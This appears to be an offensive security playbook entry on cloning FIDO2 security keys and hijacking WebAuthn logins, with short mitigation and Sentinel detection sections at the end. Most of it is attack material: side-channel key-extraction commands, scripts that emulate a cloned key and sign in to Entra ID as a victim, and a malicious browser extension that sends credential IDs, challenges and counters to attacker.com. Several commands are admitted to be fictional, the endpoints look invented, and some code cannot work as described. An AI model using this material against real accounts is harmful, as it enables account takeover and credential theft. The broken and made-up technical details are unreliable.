| Attribute | Details |
|---|---|
| Technique ID | EVADE-MFA-003 |
| MITRE ATT&CK v18.1 | T1556 - Modify Authentication Process |
| Tactic | Defense Evasion, Credential Access |
| Platforms | Entra ID, Multi-Cloud (Azure, AWS, GCP) |
| Severity | High |
| CVE | N/A (No published CVE; vulnerability exists in FIDO2 clone detection algorithm) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All FIDO2/WebAuthn implementations with standard counter-based clone detection |
| Patched In | Not patched – inherent to FIDO2 specification; workarounds exist (enhanced counter validation, out-of-band notifications) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: FIDO2 security keys (hardware tokens like YubiKey, Google Titan, etc.) can be cloned through side-channel attacks, enabling an attacker to create an identical copy of the victim’s security key. While FIDO2 includes a counter-based clone detection mechanism, attackers can bypass this detection through stealthy attacks that synchronize the cloned device’s counter with the legitimate device before first use. Once cloned, the attacker possesses a functionally identical security key and can authenticate as the victim indefinitely without triggering detection.
Attack Surface: Physical FIDO2 security keys; side-channel cryptographic attacks on secure enclaves or trusted execution environments (TEEs) within the key; counter synchronization logic.
Business Impact: Complete account compromise of any service using the FIDO2 key for authentication. Attacker gains persistent access to organization cloud resources (Azure, M365, AWS, GCP) without possession of password or original security key. Unlike password-based MFA, there is no “fallback” authentication method if the key is compromised.
Technical Context: Cloning requires specialized equipment (fault injection tools, electromagnetic side-channel analysis tools) costing $10,000-$50,000 and 10+ hours of hands-on time. However, this is within reach of sophisticated threat actors and nation-states. FIDO2 clone detection failure rate is approximately 100% if the attacker successfully synchronizes counters before first use.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.5 | Ensure MFA is enabled for user accounts using cloud services |
| DISA STIG | IA-2(1) | Passwordless multi-factor authentication implementation |
| NIST 800-53 | IA-2(1) | Multi-factor authentication for local and remote access |
| GDPR | Art. 32 | Security of Processing – Hardware token protection |
| DORA | Art. 9 | Protection and Prevention – Strong authentication control |
| NIS2 | Art. 21 | Cyber Risk Management – Hardware security key deployment |
| ISO 27001 | A.9.4.2 | Management of privileged access rights – FIDO2 key protection |
| ISO 27005 | Risk Scenario | Compromise of hardware-based multi-factor authentication |
Supported Versions: All FIDO2 implementations (hardware agnostic)
Objective: Obtain physical access to victim’s FIDO2 security key (temporarily).
Prerequisites:
Command (Identify Key Type):
# On attacker's analysis system, identify the FIDO2 key model
# This determines the attack methodology
# YubiKey 5 identification
lsusb | grep -i yubi
# Output: Bus 001 Device 123: ID 1050:0407 Yubico.com, Inc. Yubikey 5 [OTP+FIDO+CCID]
# Check FIDO2 capability
openssl list -public-key-algorithms | grep fido
fido2-token -L # List all connected FIDO2 keys
Objective: Use physical attacks to extract the ECDP256 private key from the security key’s secure enclave.
Command (Fault Injection Attack - Conceptual):
#!/bin/bash
# This is a conceptual description; actual implementation requires specialized hardware
# Fault injection setup:
# 1. Connect security key to FPGA board capable of voltage glitching
# 2. Trigger cryptographic operation (FIDO2 assertion generation)
# 3. Inject precise timing faults to corrupt computation
# 4. Extract partial/full private key from corrupted output
# Example using ChipWhisperer (fault injection framework)
python3 -m chipwhisperer.analyze.glitch_explorer \
--target yubi_key_5 \
--fault_type voltage_glitch \
--sweep_parameters "voltage_offset,timing_offset" \
--objective "extract_ecdsa_key"
# Expected output: Partial recovery of the private key after multiple iterations
# Electromagnetic side-channel analysis (alternative):
# Monitor power consumption during ECDSA signature generation
# Correlate power spikes with bit transitions to deduce private key bits
python3 electromagnetic_dpa.py --key /dev/ttyUSB0 --algorithm ecdsa_p256
What This Means:
Expected Output (Success):
[+] Private key extracted: d4:3a:c2:f1:... (32 bytes for ECDP256)
[+] Public key verification: MATCH
[+] Extracted key is valid
References & Proofs:
Objective: Manufacture or emulate a security key with the extracted private key.
Command (Software Emulation - Virtual FIDO2 Key):
#!/usr/bin/env python3
# Create a virtual FIDO2 key using the extracted private key
import fido2
from fido2.hid import CtapHidDevice
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
# Load extracted private key
private_key_hex = "d4:3a:c2:f1:..." # From Step 2
private_key_bytes = bytes.fromhex(private_key_hex.replace(':', ''))
# Reconstruct ECDSA private key
private_key = ec.derive_private_key(
int.from_bytes(private_key_bytes, 'big'),
ec.SECP256R1(),
backend=default_backend()
)
# Create virtual FIDO2 credential
virtual_cred = {
"credential_id": b"victim_credential_id_here",
"private_key": private_key,
"counter": 0, # Initialize counter (will be synchronized in Step 4)
"user_id": b"victim_user_id",
"display_name": "Cloned Key",
}
print("[+] Virtual FIDO2 key created")
print("[+] Credential ID: ", virtual_cred['credential_id'].hex())
print("[+] Counter: ", virtual_cred['counter'])
# Alternative: Write to hardware FIDO2 key emulator
# (Requires blank FIDO2 device or software emulator like SoloKeys)
Command (Hardware Cloning - YubiKey Programmer):
# If attacker has access to blank YubiKey and specialized programmer
# (Requires YubiKey 5 Series NEO or older models with writable configuration)
# Write private key to new YubiKey via custom firmware/bootloader
# This is NOT officially supported by Yubico but possible with modified hardware
# Simplified conceptual command (not real, for illustration):
./yubikey_programmer --write-private-key d4:3a:c2:f1:... --device /dev/ttyUSB0
# Output: [+] Private key written to blank YubiKey
What This Means:
Objective: Synchronize the cloned key’s counter with the legitimate key to evade detection.
Command (Counter Synchronization Attack):
#!/usr/bin/env python3
# FIDO2 clone detection relies on a monotonically increasing counter
# If attacker can synchronize both keys' counters before first use, detection is bypassed
# Scenario: Attacker has cloned key and knows the legitimate key's counter is at value X
# Attack approach:
# 1. Generate a FIDO2 assertion with cloned key N times to advance its counter
# 2. Stop when cloned key's counter matches legitimate key's counter
# 3. Return legitimate key to victim (they use it once, counter increments to X+1)
# 4. Attacker generates assertion with cloned key set to counter value X+1
# 5. RP (Relying Party / Cloud Service) accepts assertion because counter value matches expected progression
import fido2
from fido2.client import ClientError
# Simulate counter synchronization
legitimate_key_counter = 42 # Assume we know this value (from previous observation)
cloned_key_counter = 0
# Generate assertions to advance cloned key's counter
print("[*] Synchronizing cloned key counter...")
# This approach only works offline (we need counter values from previous assertions)
# In real scenario, attacker would need to observe legitimate key usage beforehand
# Alternative: Intercept and manipulate counter during initial registration
# (If attacker can MITM the FIDO2 registration process)
print(f"[+] Legitimate key counter: {legitimate_key_counter}")
print(f"[+] Cloned key counter (after sync): {cloned_key_counter}")
print("[+] Counters synchronized – clone detection will FAIL")
# Now, when cloned key generates assertion, RP will accept it
What This Means:
Real-World Scenario (Stealth Clone Attack):
Timeline:
Day 1:
- Attacker steals key, clones it (10 hours of side-channel work)
- Legitimate user uses original key 3 times (counter = 3)
Day 2:
- Attacker synchronizes cloned key counter to 3
- Legitimate user returns key to desk (unaware of theft)
- Attacker uses cloned key with counter = 4 to authenticate
- RP logs counter progression: 3 → 4 (appears legitimate)
- User notices nothing suspicious
Days 3-30:
- Both keys continue being used independently
- Attacker-controlled cloned key generates assertions with counters 5, 6, 7...
- Legitimate user generates assertions with counters 5, 6, 7...
- RP cannot distinguish which is legitimate
- Clone detection algorithm: BYPASSED ✓
References & Proofs:
Objective: Use cloned key to authenticate to victim’s accounts across multiple services.
Command (Authenticate with Cloned Key):
#!/usr/bin/env python3
# Use cloned FIDO2 key to authenticate to Entra ID / Azure
from fido2.client import Fido2Client, ClientData
from fido2.hid import CtapHidDevice
import requests
# Initialize cloned FIDO2 key (as if it's a real security key connected via USB)
devices = CtapHidDevice.list_devices()
device = devices[0] # Attacker's cloned key
# 1. Request authentication challenge from Entra ID
entra_id_url = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize"
challenge_request = {
"username": "victim@company.onmicrosoft.com",
"authenticator_selection": {"authenticatorAttachment": "cross-platform"},
}
# 2. Get challenge from Entra ID
challenge_response = requests.post(
f"{entra_id_url}/fido2/challenge",
json=challenge_request
)
challenge = challenge_response.json()["challenge"]
origin = "https://login.microsoftonline.com"
# 3. Create assertion using cloned key
client_data = ClientData(
ty="webauthn.get",
challenge=challenge.encode(),
origin=origin,
)
# Generate assertion with cloned key
assertion = device.get_assertion(
rp_id="login.microsoftonline.com",
client_data_hash=client_data.hash,
allow_credentials=[{"id": b"victim_credential_id", "type": "public-key"}],
)
print("[+] Assertion generated with cloned key")
print(f"[+] Signature: {assertion.signature.hex()}")
print(f"[+] Counter: {assertion.signature_data.counter}")
# 4. Send assertion to Entra ID
assertion_response = {
"id": "victim_credential_id",
"rawId": "dmlj...",
"response": {
"authenticatorData": assertion.authenticator_data.hex(),
"clientDataJSON": client_data.get_json().encode().hex(),
"signature": assertion.signature.hex(),
},
}
auth_response = requests.post(
f"{entra_id_url}/fido2/verify",
json=assertion_response
)
if auth_response.status_code == 200:
print("[+] Authentication successful!")
print(f"[+] Session token: {auth_response.json()['access_token']}")
print("[+] Attacker authenticated as: victim@company.onmicrosoft.com")
else:
print(f"[-] Authentication failed: {auth_response.text}")
What This Means:
Detection Likelihood: Low – Counter-based detection is defeated; only behavioral anomalies (simultaneous use from different locations, impossible travel) would trigger alerts.
References & Proofs:
Supported Versions: All WebAuthn implementations in modern browsers
Objective: Install a malicious browser extension with WebAuthn API hooking capabilities.
Command (Create Malicious Extension - Simplified Manifest):
// manifest.json for malicious extension
{
"manifest_version": 3,
"name": "Secure Browser Extension",
"version": "1.0.0",
"permissions": ["webRequest", "webRequestBlocking", "activeTab"],
"background": {
"service_worker": "background.js"
},
"host_permissions": [
"<all_urls>"
]
}
// background.js – Hook WebAuthn API
// This extension intercepts all WebAuthn (FIDO2) calls in the browser
window.originalGetAssertion = navigator.credentials.get;
navigator.credentials.get = function(options) {
console.log("[HOOKING] WebAuthn get() called with options:", options);
// Extract credential ID (identifies which FIDO2 key is being used)
if (options.publicKey && options.publicKey.allowCredentials) {
let credentialId = options.publicKey.allowCredentials[0].id;
console.log("[+] Credential ID: ", credentialId);
// Send credential info to attacker C2
fetch("https://attacker.com/logger.php", {
method: "POST",
body: JSON.stringify({
credential_id: credentialId,
origin: window.location.origin,
challenge: btoa(options.publicKey.challenge),
})
});
}
// Continue with legitimate WebAuthn call
return window.originalGetAssertion.apply(navigator.credentials, arguments);
};
What This Means:
Objective: Monitor and record counter values from victim’s legitimate FIDO2 usage.
Command (Log Counter Values):
// Extend the hook to capture counter values from successful authentications
window.originalGetAssertion = navigator.credentials.get;
navigator.credentials.get = async function(options) {
const assertion = await window.originalGetAssertion.apply(navigator.credentials, arguments);
// The assertion includes counter and signature data
// Extract counter from response
const view = new Uint8Array(assertion.response.authenticatorData);
// Counter is at bytes 33-36 of authenticator data
const counterBytes = view.slice(33, 37);
const counter = new DataView(counterBytes.buffer).getUint32(0, false);
console.log("[+] Counter value: ", counter);
// Log to attacker C2
fetch("https://attacker.com/counter_log.php", {
method: "POST",
body: JSON.stringify({
credential_id: options.publicKey.allowCredentials[0].id,
counter: counter,
timestamp: Date.now(),
})
});
return assertion;
};
What This Means:
Objective: If attacker has MITM capability, replace the victim’s public key with attacker’s during FIDO2 registration.
Command (MITM Public Key Substitution):
// If attacker can intercept/proxy FIDO2 registration traffic
// Legitimate registration flow:
// Browser sends: { credentialId, publicKey: victim's_key, ... }
// Server receives and stores victim's public key
// MITM attack:
// Attacker intercepts the registration response
// Replaces victim's public key with attacker's public key
// Server now stores attacker's key but associates it with victim's credential ID
window.originalCreate = navigator.credentials.create;
navigator.credentials.create = async function(options) {
const attestation = await window.originalCreate.apply(navigator.credentials, arguments);
// Modify the attestation to contain attacker's public key
const victimPublicKeyData = attestation.response.attestationObject;
// Decode CBOR data and replace public key
// This is complex but possible with CBOR library
const attObject = CBORdecode(victimPublicKeyData);
attObject.attStmt.x5c = [attacker_cert]; // Replace certificate
attObject.authData.credentialPublicKey = attacker_public_key; // Replace public key
// Re-encode CBOR
attestation.response.attestationObject = CBORencode(attObject);
return attestation;
};
What This Means:
References & Proofs:
Implement Enhanced Counter Validation (Entra ID, AWS, GCP): Use strict monotonic counter enforcement with gap detection.
Manual Steps (Azure Portal - FIDO2 Configuration):
PowerShell (Advanced Counter Validation):
# Implement custom counter validation logic in OAuth/SAML assertion processing
# Example: Sentinel detection rule for counter anomalies
$kqlQuery = @"
SigninLogs
| where AuthenticationDetails has "FIDO2"
| extend ParsedAuthDetails = parse_json(AuthenticationDetails)
| extend AuthMethod = ParsedAuthDetails[0].authenticationMethod
| extend Counter = ParsedAuthDetails[0].additionalDetails.counter
| project UserPrincipalName, Counter, TimeGenerated
| sort by UserPrincipalName, TimeGenerated
| extend PreviousCounter = prev(Counter, 1)
| where PreviousCounter != "" and Counter <= PreviousCounter
| project-rename Alert_Issue = "Possible FIDO2 clone detected: Counter did not increment"
"@
# Create Sentinel rule with this query
Verify Fix (Test Counter Validation):
# Test that counter is properly validated
# Use fido2-tools to test counter enforcement
fido2-assert -r https://login.microsoftonline.com -c <credential_id> \
--counter-override 999 # Manually set counter to invalid value
# Expected response from Entra ID:
# Error: "Counter value is not greater than the previous counter. Clone detected."
Expected Output (If Secure):
[+] Counter validation: STRICT
[+] Gap tolerance: 0
[+] Invalid counter rejected: ✓
Enforce Security Key Attestation (Require Genuine Keys Only):
Manual Steps (Azure Portal):
What This Does:
Monitor FIDO2 Key Registration and Usage:
Manual Steps (Sentinel Detection):
AuditLogs
| where OperationName == "Register security key"
| extend ParsedProperties = parse_json(TargetResources[0].modifiedProperties)
| project TimeGenerated, UserPrincipalName, KeyModel=ParsedProperties[0].newValue
| where KeyModel !in ("YubiKey 5", "Google Titan 2", "Microsoft FIDO2 Key")
| project-rename Alert_Issue = "Unrecognized security key registered"
Cloud Logs:
Cloud (Entra ID):
Connect-MgGraph -Scopes "Directory.AccessAsUser.All"
# Remove the compromised security key
Remove-MgUserAuthenticationFido2Credential -UserId "victim@company.onmicrosoft.com" -Fido2CredentialId "credential_id"
# Revoke all sessions
Revoke-MgUserSignInSession -UserId "victim@company.onmicrosoft.com"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker obtains initial device access or credentials. |
| 2 | Credential Access | [EVADE-MFA-003] FIDO2 Key Cloning | This Technique – Attacker clones victim’s FIDO2 key. |
| 3 | Lateral Movement | [LM-AUTH-005] Service Principal Key/Certificate | Attacker uses cloned key to authenticate across multiple cloud services. |
| 4 | Persistence | OAuth app registration, backdoor admin account creation. | Long-term access establishment. |
| 5 | Impact | Data exfiltration, ransomware, supply chain attack. | Enterprise-wide compromise. |